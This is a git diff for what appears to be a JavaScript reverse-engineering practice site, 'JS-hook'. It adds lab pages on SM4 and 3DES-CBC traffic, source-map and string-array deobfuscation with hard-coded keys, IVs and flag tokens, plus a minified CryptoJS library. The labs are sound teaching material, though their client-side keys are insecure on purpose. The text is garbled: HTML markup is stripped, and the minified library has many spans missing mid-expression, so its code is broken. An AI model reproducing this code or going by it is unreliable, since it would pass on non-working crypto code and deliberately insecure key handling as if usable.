+ 扩展方向:国密双向报文 + 技术点:SM4 Request + Response + 推荐动作:分开抓请求解包点和响应解包点 +
+
+ +
+
+

核心逻辑

+
function sm4Mock(text, key, iv) {
+  return btoa(text.split('').reverse().join('') + '|' + iv + '|' + key.slice(-4));
+}
+const req = { taskId: 'GM-0088', action: 'sync-case', operator: 'carol' };
+const resp = { status: 'DONE', count: 12, operator: 'carol' };
+
+ +
+

模拟交互

+
正在生成...
+
+
+
+ +
+

提交答案

+

请提交关键字段,格式:taskId|status|operator

+ +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/labs/sourcemap-hunt.html b/JS-hook/src/main/resources/static/labs/sourcemap-hunt.html new file mode 100644 index 0000000..f61948d --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/sourcemap-hunt.html @@ -0,0 +1,34 @@ + + + + + + Source Map Missing Hunt + + + +
+
+

Source Map Missing Hunt

+

目标:在看起来像打包产物的代码里定位关键路径。提示:先找请求函数,再逆向参数来源。

+
+
+
(function(){var a={r:'/api/public',x:'/api/internal/report',z:'/health'};function n(k){return a[k]}function req(){return n('x')+'?token=SMAP-404-FOUND'}console.log(req())})();
+ +
+
+
+ + + diff --git a/JS-hook/src/main/resources/static/labs/string-array.html b/JS-hook/src/main/resources/static/labs/string-array.html new file mode 100644 index 0000000..9177260 --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/string-array.html @@ -0,0 +1,37 @@ + + + + + + String Array Restore + + + +
+
+

String Array Restore

+

目标:恢复最终拼接出的 secret。推荐做法:手动还原数组索引,或者写一个小脚本替换 _0x()

+
+
+
const _arr = ['FLAG', 'alpha', 'restore', 'JS', '777', 'HOOK'];
+function _0x(i){ return _arr[i - 0x10]; }
+const result = [_0x(0x10), _0x(0x15), _0x(0x13), _0x(0x14)].join('-');
+console.log(result);
+ +
+
+
+ + + diff --git a/JS-hook/src/main/resources/static/labs/tripledes-cbc-basic.html b/JS-hook/src/main/resources/static/labs/tripledes-cbc-basic.html new file mode 100644 index 0000000..40b0bba --- /dev/null +++ b/JS-hook/src/main/resources/static/labs/tripledes-cbc-basic.html @@ -0,0 +1,108 @@ + + + + + + 3DES-CBC Basic + + + + +
+
+ ← 返回题库 +

3DES-CBC Basic

+

目标:补齐 3DES 场景。它和 DES 的区别不在于你的解题思路,而在于“更长的 key”“更像遗留系统网关”的识别特征。

+
+ 参考方向:GalaxyDemo / 3DES + 技术点:TripleDES / 遗留系统 + 推荐动作:Hook TripleDES.encrypt +
+
+ +
+
+

运行时代码片段

+
function encryptLegacy(body) {
+  const key = CryptoJS.enc.Utf8.parse('TripleDesKey-260321-ABC!');
+  const iv = CryptoJS.enc.Utf8.parse('3DESIv01');
+  return CryptoJS.TripleDES.encrypt(JSON.stringify(body), key, {
+    iv,
+    mode: CryptoJS.mode.CBC,
+    padding: CryptoJS.pad.Pkcs7
+  }).ciphertext.toString(CryptoJS.enc.Base64);
+}
+
+ +
+

模拟流量

+
正在生成...
+
+
+
+ +
+

提交答案

+

请提交关键字段,格式:biz|region|priority

+ +
+
+ +
+

解题提示

+
    +
  1. 别被“算法更老 / 更长 key”带偏,题目的核心仍是抓明文。
  2. +
  3. 你需要能快速区分 DES、3DES、AES 这类库调用差异。
  4. +
  5. 很多老网关会把 3DES 和签名逻辑堆在一起,适合后续扩展成组合题。
  6. +
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/libs/crypto-js-4.1.1.min.js b/JS-hook/src/main/resources/static/libs/crypto-js-4.1.1.min.js new file mode 100644 index 0000000..20b3099 --- /dev/null +++ b/JS-hook/src/main/resources/static/libs/crypto-js-4.1.1.min.js @@ -0,0 +1 @@ +!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U||function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create||function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},l=n.WordArray=o.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||c).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(var c=0;c>>2]=r[c>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=h.ceil(e/4)},clone:function(){var t=o.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new l.init(r,e/2)}},a=s.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new l.init(r,e)}},f=s.Utf8={stringify:function(t){try{return decodeURIComponent(escape(a.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return a.parse(unescape(encodeURIComponent(t)))}},d=n.BufferedBlockAlgorithm=o.extend({reset:function(){this._data=new l.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4*o),c=(s=t?h.ceil(s):h.max((0|s)-this._minBufferSize,0))*o,n=h.min(4*c,n);if(c){for(var a=0;a>>32-e}function j(t,e,r,i){var n,o=this._iv;o?(n=o.slice(0),this._iv=void 0):n=this._prevBlock,i.encryptBlock(n,0);for(var s=0;s>24&255)?(r=t>>8&255,i=255&t,255===(e=t>>16&255)?(e=0,255===r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i):t+=1<<24,t}function N(){for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;R[r]=((n*n>>>17)+n*o>>>15)+o*o^((4294901760&i)*i|0)+((65535&i)*i|0)}t[0]=R[0]+(R[7]<<16|R[7]>>>16)+(R[6]<<16|R[6]>>>16)|0,t[1]=R[1]+(R[0]<<8|R[0]>>>24)+R[7]|0,t[2]=R[2]+(R[1]<<16|R[1]>>>16)+(R[0]<<16|R[0]>>>16)|0,t[3]=R[3]+(R[2]<<8|R[2]>>>24)+R[1]|0,t[4]=R[4]+(R[3]<<16|R[3]>>>16)+(R[2]<<16|R[2]>>>16)|0,t[5]=R[5]+(R[4]<<8|R[4]>>>24)+R[3]|0,t[6]=R[6]+(R[5]<<16|R[5]>>>16)+(R[4]<<16|R[4]>>>16)|0,t[7]=R[7]+(R[6]<<8|R[6]>>>24)+R[5]|0}function q(){for(var t=this._X,e=this._C,r=0;r<8;r++)O[r]=e[r];e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((n*n>>>17)+n*o>>>15)+o*o^((4294901760&i)*i|0)+((65535&i)*i|0)}t[0]=I[0]+(I[7]<<16|I[7]>>>16)+(I[6]<<16|I[6]>>>16)|0,t[1]=I[1]+(I[0]<<8|I[0]>>>24)+I[7]|0,t[2]=I[2]+(I[1]<<16|I[1]>>>16)+(I[0]<<16|I[0]>>>16)|0,t[3]=I[3]+(I[2]<<8|I[2]>>>24)+I[1]|0,t[4]=I[4]+(I[3]<<16|I[3]>>>16)+(I[2]<<16|I[2]>>>16)|0,t[5]=I[5]+(I[4]<<8|I[4]>>>24)+I[3]|0,t[6]=I[6]+(I[5]<<16|I[5]>>>16)+(I[4]<<16|I[4]>>>16)|0,t[7]=I[7]+(I[6]<<8|I[6]>>>24)+I[5]|0}return F=(M=U).lib,n=F.Base,o=F.WordArray,(M=M.x64={}).Word=n.extend({init:function(t,e){this.high=t,this.low=e}}),M.WordArray=n.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:8*t.length},toX32:function(){for(var t=this.words,e=t.length,r=[],i=0;i>>2]|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>16-n%4*8&65535;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>1]|=t.charCodeAt(i)<<16-i%2*16;return n.create(r,2*e)}};function s(t){return t<<8&4278255360|t>>>8&16711935}t.Utf16LE={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>16-n%4*8&65535);i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>1]|=s(t.charCodeAt(i)<<16-i%2*16);return n.create(r,2*e)}}}(),a=(w=U).lib.WordArray,w.enc.Base64={stringify:function(t){var e=t.words,r=t.sigBytes,i=this._map;t.clamp();for(var n=[],o=0;o>>2]>>>24-o%4*8&255)<<16|(e[o+1>>>2]>>>24-(o+1)%4*8&255)<<8|e[o+2>>>2]>>>24-(o+2)%4*8&255,c=0;c<4&&o+.75*c>>6*(3-c)&63));var a=i.charAt(64);if(a)for(;n.length%4;)n.push(a);return n.join("")},parse:function(t){var e=t.length,r=this._map;if(!(i=this._reverseMap))for(var i=this._reverseMap=[],n=0;n>>6-o%4*2,c=s|c,i[n>>>2]|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},h=(F=U).lib.WordArray,F.enc.Base64url={stringify:function(t,e=!0){var r=t.words,i=t.sigBytes,n=e?this._safe_map:this._map;t.clamp();for(var o=[],s=0;s>>2]>>>24-s%4*8&255)<<16|(r[s+1>>>2]>>>24-(s+1)%4*8&255)<<8|r[s+2>>>2]>>>24-(s+2)%4*8&255,a=0;a<4&&s+.75*a>>6*(3-a)&63));var h=n.charAt(64);if(h)for(;o.length%4;)o.push(h);return o.join("")},parse:function(t,e=!0){var r=t.length,i=e?this._safe_map:this._map;if(!(n=this._reverseMap))for(var n=this._reverseMap=[],o=0;o>>6-o%4*2,c=s|c,i[n>>>2]|=c<<24-n%4*8,n++)}return h.create(i,n)}(t,r,n)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",_safe_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"},function(a){var t=U,e=t.lib,r=e.WordArray,i=e.Hasher,e=t.algo,A=[];!function(){for(var t=0;t<64;t++)A[t]=4294967296*a.abs(a.sin(t+1))|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o=this._hash.words,s=t[e+0],c=t[e+1],a=t[e+2],h=t[e+3],l=t[e+4],f=t[e+5],d=t[e+6],u=t[e+7],p=t[e+8],_=t[e+9],y=t[e+10],v=t[e+11],g=t[e+12],B=t[e+13],w=t[e+14],k=t[e+15],m=H(m=o[0],b=o[1],x=o[2],S=o[3],s,7,A[0]),S=H(S,m,b,x,c,12,A[1]),x=H(x,S,m,b,a,17,A[2]),b=H(b,x,S,m,h,22,A[3]);m=H(m,b,x,S,l,7,A[4]),S=H(S,m,b,x,f,12,A[5]),x=H(x,S,m,b,d,17,A[6]),b=H(b,x,S,m,u,22,A[7]),m=H(m,b,x,S,p,7,A[8]),S=H(S,m,b,x,_,12,A[9]),x=H(x,S,m,b,y,17,A[10]),b=H(b,x,S,m,v,22,A[11]),m=H(m,b,x,S,g,7,A[12]),S=H(S,m,b,x,B,12,A[13]),x=H(x,S,m,b,w,17,A[14]),m=z(m,b=H(b,x,S,m,k,22,A[15]),x,S,c,5,A[16]),S=z(S,m,b,x,d,9,A[17]),x=z(x,S,m,b,v,14,A[18]),b=z(b,x,S,m,s,20,A[19]),m=z(m,b,x,S,f,5,A[20]),S=z(S,m,b,x,y,9,A[21]),x=z(x,S,m,b,k,14,A[22]),b=z(b,x,S,m,l,20,A[23]),m=z(m,b,x,S,_,5,A[24]),S=z(S,m,b,x,w,9,A[25]),x=z(x,S,m,b,h,14,A[26]),b=z(b,x,S,m,p,20,A[27]),m=z(m,b,x,S,B,5,A[28]),S=z(S,m,b,x,a,9,A[29]),x=z(x,S,m,b,u,14,A[30]),m=C(m,b=z(b,x,S,m,g,20,A[31]),x,S,f,4,A[32]),S=C(S,m,b,x,p,11,A[33]),x=C(x,S,m,b,v,16,A[34]),b=C(b,x,S,m,w,23,A[35]),m=C(m,b,x,S,c,4,A[36]),S=C(S,m,b,x,l,11,A[37]),x=C(x,S,m,b,u,16,A[38]),b=C(b,x,S,m,y,23,A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50]),b=D(b,x,S,m,f,21,A[51]),m=D(m,b,x,S,g,6,A[52]),S=D(S,m,b,x,h,10,A[53]),x=D(x,S,m,b,y,15,A[54]),b=D(b,x,S,m,c,21,A[55]),m=D(m,b,x,S,p,6,A[56]),S=D(S,m,b,x,k,10,A[57]),x=D(x,S,m,b,d,15,A[58]),b=D(b,x,S,m,B,21,A[59]),m=D(m,b,x,S,l,6,A[60]),S=D(S,m,b,x,v,10,A[61]),x=D(x,S,m,b,a,15,A[62]),b=D(b,x,S,m,_,21,A[63]),o[0]=o[0]+m|0,o[1]=o[1]+b|0,o[2]=o[2]+x|0,o[3]=o[3]+S|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;e[i>>>5]|=128<<24-i%32;var n=a.floor(r/4294967296),r=r;e[15+(64+i>>>9<<4)]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8),e[14+(64+i>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),t.sigBytes=4*(e.length+1),this._process();for(var e=this._hash,o=e.words,s=0;s<4;s++){var c=o[s];o[s]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8)}return e},clone:function(){var t=i.clone.call(this);return t._hash=this._hash.clone(),t}});function H(t,e,r,i,n,o,s){s=t+(e&r|~e&i)+n+s;return(s<>>32-o)+e}function z(t,e,r,i,n,o,s){s=t+(e&i|r&~i)+n+s;return(s<>>32-o)+e}function C(t,e,r,i,n,o,s){s=t+(e^r^i)+n+s;return(s<>>32-o)+e}function D(t,e,r,i,n,o,s){s=t+(r^(e|~i))+n+s;return(s<>>32-o)+e}t.MD5=i._createHelper(e),t.HmacMD5=i._createHmacHelper(e)}(Math),P=(M=U).lib,t=P.WordArray,e=P.Hasher,P=M.algo,l=[],P=P.SHA1=e.extend({_doReset:function(){this._hash=new t.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],c=r[4],a=0;a<80;a++){a<16?l[a]=0|t[e+a]:(h=l[a-3]^l[a-8]^l[a-14]^l[a-16],l[a]=h<<1|h>>>31);var h=(i<<5|i>>>27)+c+l[a];h+=a<20?1518500249+(n&o|~n&s):a<40?1859775393+(n^o^s):a<60?(n&o|n&s|o&s)-1894007588:(n^o^s)-899497514,c=s,s=o,o=n<<30|n>>>2,n=i,i=h}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+s|0,r[4]=r[4]+c|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=Math.floor(r/4294967296),e[15+(64+i>>>9<<4)]=r,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=e.clone.call(this);return t._hash=this._hash.clone(),t}}),M.SHA1=e._createHelper(P),M.HmacSHA1=e._createHmacHelper(P),function(n){var t=U,e=t.lib,r=e.WordArray,i=e.Hasher,e=t.algo,o=[],p=[];!function(){function t(t){return 4294967296*(t-(0|t))|0}for(var e=2,r=0;r<64;)!function(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}(e)||(r<8&&(o[r]=t(n.pow(e,.5))),p[r]=t(n.pow(e,1/3)),r++),e++}();var _=[],e=e.SHA256=i.extend({_doReset:function(){this._hash=new r.init(o.slice(0))},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],c=r[4],a=r[5],h=r[6],l=r[7],f=0;f<64;f++){f<16?_[f]=0|t[e+f]:(d=_[f-15],u=_[f-2],_[f]=((d<<25|d>>>7)^(d<<14|d>>>18)^d>>>3)+_[f-7]+((u<<15|u>>>17)^(u<<13|u>>>19)^u>>>10)+_[f-16]);var d=i&n^i&o^n&o,u=l+((c<<26|c>>>6)^(c<<21|c>>>11)^(c<<7|c>>>25))+(c&a^~c&h)+p[f]+_[f],l=h,h=a,a=c,c=s+u|0,s=o,o=n,n=i,i=u+(((i<<30|i>>>2)^(i<<19|i>>>13)^(i<<10|i>>>22))+d)|0}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+s|0,r[4]=r[4]+c|0,r[5]=r[5]+a|0,r[6]=r[6]+h|0,r[7]=r[7]+l|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=n.floor(r/4294967296),e[15+(64+i>>>9<<4)]=r,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=i.clone.call(this);return t._hash=this._hash.clone(),t}});t.SHA256=i._createHelper(e),t.HmacSHA256=i._createHmacHelper(e)}(Math),r=(w=U).lib.WordArray,F=w.algo,i=F.SHA256,F=F.SHA224=i.extend({_doReset:function(){this._hash=new r.init([3238371032,914150663,812702999,4144912697,4290775857,1750603025,1694076839,3204075428])},_doFinalize:function(){var t=i._doFinalize.call(this);return t.sigBytes-=4,t}}),w.SHA224=i._createHelper(F),w.HmacSHA224=i._createHmacHelper(F),function(){var t=U,e=t.lib.Hasher,r=t.x64,i=r.Word,n=r.WordArray,r=t.algo;function o(){return i.create.apply(i,arguments)}var t1=[o(1116352408,3609767458),o(1899447441,602891725),o(3049323471,3964484399),o(3921009573,2173295548),o(961987163,4081628472),o(1508970993,3053834265),o(2453635748,2937671579),o(2870763221,3664609560),o(3624381080,2734883394),o(310598401,1164996542),o(607225278,1323610764),o(1426881987,3590304994),o(1925078388,4068182383),o(2162078206,991336113),o(2614888103,633803317),o(3248222580,3479774868),o(3835390401,2666613458),o(4022224774,944711139),o(264347078,2341262773),o(604807628,2007800933),o(770255983,1495990901),o(1249150122,1856431235),o(1555081692,3175218132),o(1996064986,2198950837),o(2554220882,3999719339),o(2821834349,766784016),o(2952996808,2566594879),o(3210313671,3203337956),o(3336571891,1034457026),o(3584528711,2466948901),o(113926993,3758326383),o(338241895,168717936),o(666307205,1188179964),o(773529912,1546045734),o(1294757372,1522805485),o(1396182291,2643833823),o(1695183700,2343527390),o(1986661051,1014477480),o(2177026350,1206759142),o(2456956037,344077627),o(2730485921,1290863460),o(2820302411,3158454273),o(3259730800,3505952657),o(3345764771,106217008),o(3516065817,3606008344),o(3600352804,1432725776),o(4094571909,1467031594),o(275423344,851169720),o(430227734,3100823752),o(506948616,1363258195),o(659060556,3750685593),o(883997877,3785050280),o(958139571,3318307427),o(1322822218,3812723403),o(1537002063,2003034995),o(1747873779,3602036899),o(1955562222,1575990012),o(2024104815,1125592928),o(2227730452,2716904306),o(2361852424,442776044),o(2428436474,593698344),o(2756734187,3733110249),o(3204031479,2999351573),o(3329325298,3815920427),o(3391569614,3928383900),o(3515267271,566280711),o(3940187606,3454069534),o(4118630271,4000239992),o(116418474,1914138554),o(174292421,2731055270),o(289380356,3203993006),o(460393269,320620315),o(685471733,587496836),o(852142971,1086792851),o(1017036298,365543100),o(1126000580,2618297676),o(1288033470,3409855158),o(1501505948,4234509866),o(1607167915,987167468),o(1816402316,1246189591)],e1=[];!function(){for(var t=0;t<80;t++)e1[t]=o()}();r=r.SHA512=e.extend({_doReset:function(){this._hash=new n.init([new i.init(1779033703,4089235720),new i.init(3144134277,2227873595),new i.init(1013904242,4271175723),new i.init(2773480762,1595750129),new i.init(1359893119,2917565137),new i.init(2600822924,725511199),new i.init(528734635,4215389547),new i.init(1541459225,327033209)])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],c=r[4],a=r[5],h=r[6],l=r[7],f=i.high,d=i.low,u=n.high,p=n.low,_=o.high,y=o.low,v=s.high,g=s.low,B=c.high,w=c.low,k=a.high,m=a.low,S=h.high,x=h.low,b=l.high,r=l.low,A=f,H=d,z=u,C=p,D=_,E=y,R=v,M=g,F=B,P=w,W=k,O=m,I=S,U=x,K=b,X=r,L=0;L<80;L++){var j,T,N=e1[L];L<16?(T=N.high=0|t[e+2*L],j=N.low=0|t[e+2*L+1]):($=(q=e1[L-15]).high,J=q.low,G=(Q=e1[L-2]).high,V=Q.low,Z=(Y=e1[L-7]).high,q=Y.low,Y=(Q=e1[L-16]).high,T=(T=(($>>>1|J<<31)^($>>>8|J<<24)^$>>>7)+Z+((j=(Z=(J>>>1|$<<31)^(J>>>8|$<<24)^(J>>>7|$<<25))+q)>>>0>>0?1:0))+((G>>>19|V<<13)^(G<<3|V>>>29)^G>>>6)+((j+=J=(V>>>19|G<<13)^(V<<3|G>>>29)^(V>>>6|G<<26))>>>0>>0?1:0),j+=$=Q.low,N.high=T=T+Y+(j>>>0<$>>>0?1:0),N.low=j);var q=F&W^~F&I,Z=P&O^~P&U,V=A&z^A&D^z&D,G=(H>>>28|A<<4)^(H<<30|A>>>2)^(H<<25|A>>>7),J=t1[L],Q=J.high,Y=J.low,$=X+((P>>>14|F<<18)^(P>>>18|F<<14)^(P<<23|F>>>9)),N=K+((F>>>14|P<<18)^(F>>>18|P<<14)^(F<<23|P>>>9))+($>>>0>>0?1:0),J=G+(H&C^H&E^C&E),K=I,X=U,I=W,U=O,W=F,O=P,F=R+(N=(N=(N=N+q+(($=$+Z)>>>0>>0?1:0))+Q+(($=$+Y)>>>0>>0?1:0))+T+(($=$+j)>>>0>>0?1:0))+((P=M+$|0)>>>0>>0?1:0)|0,R=D,M=E,D=z,E=C,z=A,C=H,A=N+(((A>>>28|H<<4)^(A<<30|H>>>2)^(A<<25|H>>>7))+V+(J>>>0>>0?1:0))+((H=$+J|0)>>>0<$>>>0?1:0)|0}d=i.low=d+H,i.high=f+A+(d>>>0>>0?1:0),p=n.low=p+C,n.high=u+z+(p>>>0>>0?1:0),y=o.low=y+E,o.high=_+D+(y>>>0>>0?1:0),g=s.low=g+M,s.high=v+R+(g>>>0>>0?1:0),w=c.low=w+P,c.high=B+F+(w>>>0

>>0?1:0),m=a.low=m+O,a.high=k+W+(m>>>0>>0?1:0),x=h.low=x+U,h.high=S+I+(x>>>0>>0?1:0),r=l.low=r+X,l.high=b+K+(r>>>0>>0?1:0)},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[30+(128+i>>>10<<5)]=Math.floor(r/4294967296),e[31+(128+i>>>10<<5)]=r,t.sigBytes=4*e.length,this._process(),this._hash.toX32()},clone:function(){var t=e.clone.call(this);return t._hash=this._hash.clone(),t},blockSize:32});t.SHA512=e._createHelper(r),t.HmacSHA512=e._createHmacHelper(r)}(),P=(M=U).x64,c=P.Word,f=P.WordArray,P=M.algo,d=P.SHA512,P=P.SHA384=d.extend({_doReset:function(){this._hash=new f.init([new c.init(3418070365,3238371032),new c.init(1654270250,914150663),new c.init(2438529370,812702999),new c.init(355462360,4144912697),new c.init(1731405415,4290775857),new c.init(2394180231,1750603025),new c.init(3675008525,1694076839),new c.init(1203062813,3204075428)])},_doFinalize:function(){var t=d._doFinalize.call(this);return t.sigBytes-=16,t}}),M.SHA384=d._createHelper(P),M.HmacSHA384=d._createHmacHelper(P),function(l){var t=U,e=t.lib,f=e.WordArray,i=e.Hasher,d=t.x64.Word,e=t.algo,A=[],H=[],z=[];!function(){for(var t=1,e=0,r=0;r<24;r++){A[t+5*e]=(r+1)*(r+2)/2%64;var i=(2*t+3*e)%5;t=e%5,e=i}for(t=0;t<5;t++)for(e=0;e<5;e++)H[t+5*e]=e+(2*t+3*e)%5*5;for(var n=1,o=0;o<24;o++){for(var s,c=0,a=0,h=0;h<7;h++)1&n&&((s=(1<>>24)|4278255360&(o<<24|o>>>8);(m=r[n]).high^=s=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),m.low^=o}for(var c=0;c<24;c++){for(var a=0;a<5;a++){for(var h=0,l=0,f=0;f<5;f++)h^=(m=r[a+5*f]).high,l^=m.low;var d=C[a];d.high=h,d.low=l}for(a=0;a<5;a++)for(var u=C[(a+4)%5],p=C[(a+1)%5],_=p.high,p=p.low,h=u.high^(_<<1|p>>>31),l=u.low^(p<<1|_>>>31),f=0;f<5;f++)(m=r[a+5*f]).high^=h,m.low^=l;for(var y=1;y<25;y++){var v=(m=r[y]).high,g=m.low,B=A[y];l=B<32?(h=v<>>32-B,g<>>32-B):(h=g<>>64-B,v<>>64-B);B=C[H[y]];B.high=h,B.low=l}var w=C[0],k=r[0];w.high=k.high,w.low=k.low;for(a=0;a<5;a++)for(f=0;f<5;f++){var m=r[y=a+5*f],S=C[y],x=C[(a+1)%5+5*f],b=C[(a+2)%5+5*f];m.high=S.high^~x.high&b.high,m.low=S.low^~x.low&b.low}m=r[0],k=z[c];m.high^=k.high,m.low^=k.low}},_doFinalize:function(){var t=this._data,e=t.words,r=(this._nDataBytes,8*t.sigBytes),i=32*this.blockSize;e[r>>>5]|=1<<24-r%32,e[(l.ceil((1+r)/i)*i>>>5)-1]|=128,t.sigBytes=4*e.length,this._process();for(var n=this._state,e=this.cfg.outputLength/8,o=e/8,s=[],c=0;c>>24)|4278255360&(h<<24|h>>>8);s.push(a=16711935&(a<<8|a>>>24)|4278255360&(a<<24|a>>>8)),s.push(h)}return new f.init(s,e)},clone:function(){for(var t=i.clone.call(this),e=t._state=this._state.slice(0),r=0;r<25;r++)e[r]=e[r].clone();return 